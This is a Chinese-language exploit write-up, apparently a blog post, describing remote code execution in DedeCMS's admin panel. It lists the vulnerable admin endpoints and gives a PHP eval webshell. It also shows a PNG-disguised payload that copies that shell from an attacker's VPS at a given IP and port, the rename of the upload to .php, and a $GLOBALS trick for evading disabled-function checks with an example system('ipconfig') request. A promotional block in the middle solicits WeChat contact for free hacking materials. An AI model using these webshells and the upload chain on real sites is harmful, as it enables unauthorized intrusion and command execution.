前言
剛發現Dedecms更新了發佈版本,順便測試一下之前的day有沒有修復,突然想到了新的tricks去實現RCE。
文章發佈的時候估計比較晚了,一直沒時間寫了。
利用
/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......
我發佈的文檔->>>>添加文檔->>>>站內選擇進行文件上傳
/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives
文件上傳
在vps上起一個http的服務,端口設置爲8016
遠程服務器存放shell.php,文件內容爲
<?php @eval ($_POST ['a']);?>
準備一個圖片格式的文件,文件內容爲,這裏我上傳的文件名稱爲f.png
<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>
上傳成功後可以看到上傳的圖片的位置
修改文件名爲b.php
保存發現png圖片已成功被更改,訪問b.php,從遠程vps下載了shell.php,當前目錄下存在一個名稱爲shell.php的木馬文件
利用webshell進行命令執行。
成功執行了命令
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
思考
如果不考慮文件上傳後綴名繞過方法,僅以上面圖片格式的文件上傳的話,那麼無所謂上傳的什麼內容,因爲本身來講dede的代碼中對文件內容是做的有校驗的
所以文件內有兩種繞過方法
-
正則繞過
-
disable函數繞過
簡單搜索了一下各個平臺的文章,其實是有師傅正則繞過實現webshell的。第二點兒,disable函數繞過,往前幾個版本,有興趣的可以看一下源碼,之前利用全局變量Globals
繞過
代碼內容
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>
命令執行
http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);
成功執行命令,且該命令執行爲未授權命令執行。
所以在官方前幾個版本中已經更新了,添加進了禁用方法
所以在繞過禁用方法上來講更容易一點兒。所以在利用上這裏利用了copy
函數的特性,那麼這裏提醒一下,其它的函數當然也可以滿足效果。
更多網安技能的在線實操練習,請點擊這裏>>